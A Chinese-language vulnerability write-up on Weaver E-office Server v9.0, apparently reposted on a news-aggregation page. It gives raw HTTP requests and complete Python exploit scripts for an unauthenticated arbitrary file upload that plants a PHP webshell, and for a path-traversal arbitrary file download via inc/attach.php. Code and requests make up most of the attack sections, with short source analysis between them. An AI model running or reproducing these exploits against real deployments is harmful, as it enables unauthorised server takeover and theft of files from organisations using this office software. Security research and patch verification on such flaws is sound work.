当前位置: 首页 > news >正文

E-office Server_v9.0 漏洞分析

漏洞简介

泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件

漏洞影响范围 E-office Server_v9.0

默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是  c:\eoffice

安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到

代码位置在 C:\eoffice\webroot 同样代码也是被加密了的

通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/

利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击 KeymouseGo

任意文件上传漏洞

漏洞利用

/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; name="Filedata"; filename="1.php"<?php phpinfo();?>
------WebKitFormBoundaryykJoMlQs3JMOsgi3--

上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php

漏洞分析

漏洞的主要位于 general/index/UploadFile.php

通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法

我们选择其中的 uploadPicture 方法

没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/"

利用脚本

import sys
import requestsdef request_shell(url):targeturl = url + "/images/logo/logo-eoffice.php"response = requests.get(targeturl)if(response.status_code == 200):print("获取 shell 成功,shell地址为:"+targeturl)def request_upload(url,data):targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="targetfile = {'Filedata':('upload.php',data,'text/plain')}response = requests.post(url = targeturl, files = targetfile)if(response.status_code == 200):print("上传成功")def read_uploadfile(url,filename):with open(filename) as f:data = f.read()request_upload(url,data)def upload_file(url,filename):if (filename == "phpinfo.php"):data = "<?php phpinfo(); ?>"request_upload(url,data)else:read_uploadfile(url,filename)def main():if len(sys.argv) < 3:print("Usage: upload_file.py targeturl filename\n""Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")exit()url = sys.argv[1]filename = sys.argv[2]upload_file(url,filename)request_shell(url)if __name__ == '__main__':main()

任意文件下载漏洞

漏洞利用

GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

漏洞分析

inc/attach.php

直接传入参数 最后会读取path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。

漏洞的主要来源位于

我们看一下文件的下载链接

利用脚本

import sys
import requests
import redef save_reponse(re_result,filename):filename=re.findall("[^/]+$",filename)[0]# print(filename)with open(filename, 'w',encoding='gb18030') as f:f.write(re_result)def re_response(response):re_result = response[1507:]return re_resultdef read_file(url,filename):targeturl = url + "/inc/attach.php?path="+filenameresponse = requests.get(url = targeturl, allow_redirects=False)# print(response.text)re_result = re_response(response.text)print(re_result)save_reponse(re_result,filename)def main():if len(sys.argv) < 3:print("Usage: upload_file.py targeturl filename\n""Example: python read_file.py http://10.0.21.14:8082 attach.php")exit()url = sys.argv[1]filename = sys.argv[2]read_file(url,filename)if __name__ == '__main__':main()

还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。

http://www.lryc.cn/news/69227.html

相关文章:

  • MySQL数据库,JDBC连接数据库操作流程详细介绍
  • libevent高并发网络编程 - 06_基于libevent的C++线程池实现
  • 【Java EE 初阶】线程安全及死锁解决方案
  • C语言函数大全-- _w 开头的函数(5)
  • 机械大专生能学会云计算吗,完全零基础的
  • 腾讯云EdgeOne为什么能让客户降本增效?
  • 基于粒子群算法的微网经济优化调度——附Matalb代码
  • Flink入门
  • 【Go微服务开发】gin+grpc+etcd 重构 grpc-todolist 项目
  • 单板硬件设计:存储器SD卡( NAND FLASH)
  • C++实现日期类Date(超详细)
  • 实验室检验系统源码,集检验业务、质量控制、报告、统计分析、两癌等模块于一体
  • 学习RHCSA的day.03
  • 电子邮件协议(SMTP,MIME,POP3,IMAP)
  • Golang笔记:使用embed包将静态资源嵌入到程序中
  • ImportError: cannot import name ‘OldCsv‘ from ‘pyflink.table.descriptors‘
  • YouCompleteMe(YCM)安装
  • day33_css
  • 10个最流行的向量数据库【AI】
  • vite3+vue3 项目打包优化二 —— 依赖分包策略
  • 中国社科院与美国杜兰大学金融管理硕士——与时间赛跑,充分利用每一分钟
  • 什么是Dirichlet分布?
  • web前端开发需要哪些技术?学前端顺序千万千万不要搞错啦!
  • 【AFNetWorking源码(二)AFURLSessionManger和AFHTTPSessionManager】
  • 编程不头秃,Google「AI程序员」来了,聊天就能敲代码
  • 【数据结构与算法】基础数据结构
  • k8s系列(四)——资源对象
  • JavaScript如何使用for循环
  • (浙大陈越版)数据结构 第三章 树(上) 3.1 树和树的表示
  • 平抑风电波动的电-氢混合储能容量优化配置(Matlab代码实现)